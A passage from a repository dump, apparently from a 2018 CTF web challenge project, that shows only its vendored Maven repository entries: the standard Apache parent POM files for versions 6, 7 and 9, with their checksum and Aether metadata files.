  The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <url>http://www.apache.org/</url>\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <distributionManagement>\n    <!-- Site omitted - each project must provide their own -->\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n  </properties>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-6</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-6</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-6</url>\n  </scm>\n  \n  <build>\n     <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0-beta-1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.2</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-9</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.0.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins> \n </build>\n \n <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n  \n  <profiles>\n      <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n            </configuration>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/6/apache-6.pom.sha1",
    "content": "70e78921afc16d914e65611d18ab1b2d6cb20e57"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:36 CST 2018\napache-7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/7/apache-7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- Shared parent. Doesn't define a lot of things about Apache like general mailing lists, but does\n       define the settings common to all projects at Apache \n       \n       As of Version 6, this includes a standard release profile that all projects can use. If the profile is not appropriate for your project, define your own release profile and change the release plugin configuration parameter <arguments> </arguments> to activate your profile instead of the apache-release profile.\n       \n      Standard versions of plugins are also defined, these may be overridden by individual projects as well.\n       -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>7</version>\n  <packaging>pom</packaging>\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <url>http://www.apache.org/</url>\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <distributionManagement>\n    <!-- Site omitted - each project must provide their own -->\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n  </properties>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-7</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-7</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-7</url>\n  </scm>\n\n  <build>\n     <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0-beta-1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.0-alpha-4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <!-- NOTE: 2.6.x is generally unusuable due to MJAVADOC-275 -->\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0-beta-9</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.0.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins> \n </build>\n\n <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n      <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.2</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n            </configuration>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/7/apache-7.pom.sha1",
    "content": "a5f679b14bb06a3cb3769eb04e228c8b9e12908f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:26 CST 2018\napache-9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/9/apache-9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- Shared parent. Doesn't define a lot of things about Apache like general mailing lists, but does\n       define the settings common to all projects at Apache \n       \n       As of Version 6, this includes a standard release profile that all projects can use. If the profile is not appropriate for your project, define your own release profile and change the release plugin configuration parameter <arguments> </arguments> to activate your profile instead of the apache-release profile.\n       \n      Standard versions of plugins are also defined, these may be overridden by individual projects as well.\n       -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>9</version>\n  <packaging>pom</packaging>\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <url>http://www.apache.org/</url>\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <distributionManagement>\n    <!-- Site omitted - each project must provide their own -->\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n  </properties>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-9</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-9</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-9</url>\n  </scm>\n\n  <build>\n     <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3.1</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <!-- NOTE: 2.6.x is generally unusuable due to MJAVADOC-275 -->\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release</arguments>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.3</version>\n          <configuration>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.7.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>0.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.4.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        